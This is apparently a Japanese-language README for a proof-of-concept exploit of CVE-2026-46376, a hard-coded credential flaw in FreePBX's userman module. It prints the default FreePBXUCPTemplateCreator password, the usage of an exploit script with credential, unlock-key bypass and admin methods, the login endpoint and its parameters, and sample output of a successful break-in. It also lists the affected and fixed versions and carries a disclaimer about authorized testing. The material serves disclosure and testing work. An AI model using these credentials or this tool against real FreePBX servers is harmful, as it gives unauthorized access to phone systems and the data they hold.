
CVE-2026-46376 - FreePBX ハードコードされた認証情報による未認証のUCPアクセス
FreePBXのユーザー管理(userman)モジュールにおける重大な脆弱性により、未認証の攻撃者がUCP汎用テンプレートセットアッププロセス中に埋め込まれたハードコードされた認証情報を使用してユーザーコントロールパネル(UCP)にアクセスできるようになります。
CVSS v4.0: 9.1(重大) | CWE-798:ハードコードされた認証情報の使用
開示日:2026年5月15日 | 報告者:s0nnyWT
管理者がオプションのUCP汎用テンプレートセットアップ機能(2021年導入)を使用すると、FreePBXUCPTemplateCreatorというシステムユーザーがハードコードされた静的パスワードで作成されます。セットアップ後に管理者がこのパスワードを変更しなかった場合、ネットワーク上の未認証ユーザーは誰でもこの認証情報でUCPにログインできます。
| フィールド | 値 |
|---|---|
| ユーザー名 | FreePBXUCPTemplateCreator |
| パスワード | 1a2b3c@fd48jshs03123ld |
| ソース | Userman.class.php — md5() を通過したパスワード |
| 攻撃ベクトル | ネットワーク |
| 複雑さ | 低 |
| 認証要件 | なし |
| ユーザー操作 | なし |
| 前提条件 | 管理者がUCP汎用テンプレートセットアップを実行している必要がある |
注記:
FreePBXUCPTemplateCreatorユーザーは、管理者が明示的にUCP汎用テンプレートセットアップ機能を実行した場合にのみ作成されます。このセットアップが実行されなかったシステムでは、影響を受けるバージョンを実行していても、このCVEによる悪用はできません。
修正では、インストール/アップグレード時にbin2hex(random_bytes(24))を使用してパスワードをランダム化し、既存のテンプレート作成者のパスワードはアップグレード時に再生成されます。
pip3 install requests
python3 poc.py <target_url>
位置引数:
target ターゲットURL(例: http://192.168.1.100)
オプション引数:
-h, --help このヘルプメッセージを表示して終了
--no-check バージョンの事前チェックをスキップ
--timeout TIMEOUT リクエストのタイムアウト時間(秒)(デフォルト: 15)
--method {creds,unlock,admin,all}
実行するエクスプロイト方法(デフォルト: all)
-y, --yes バージョンが範囲外でも自動続行
POST /ucp/ajax.phpにmodule=User&command=loginでUCPにログインする?unlockkey=&templateid=クエリパラメータを使用してアンロックキーバイパスを試行する$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
システムが悪用可能かどうかを確認するために、PoCは認証情報とともにPOST /ucp/ajax.phpにmodule=User&command=loginでログインリクエストを送信します。{"status":true}の応答は、テンプレート作成者ユーザーが存在し、パスワードがまだデフォルトのままであることを示します。
{"status":false,"message":"Invalid Login Credentials"}という応答は、次のいずれかを意味します:
usermanモジュールを16.0.45(FreePBX 16)または17.0.7(FreePBX 17)に更新するこのPoCは教育および許可されたセキュリティテスト目的のみで提供されています。自分が所有していない、または明示的なテスト許可がないシステムに対する本エクスプロイトの不正使用は違法です。作成者は、本ツールの誤用または損害について一切の責任を負いません。
| プラットフォーム | userman モジュール | 影響あり | 修正済み |
|---|
| FreePBX 15 | — | 15.0.42+ | N/A |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |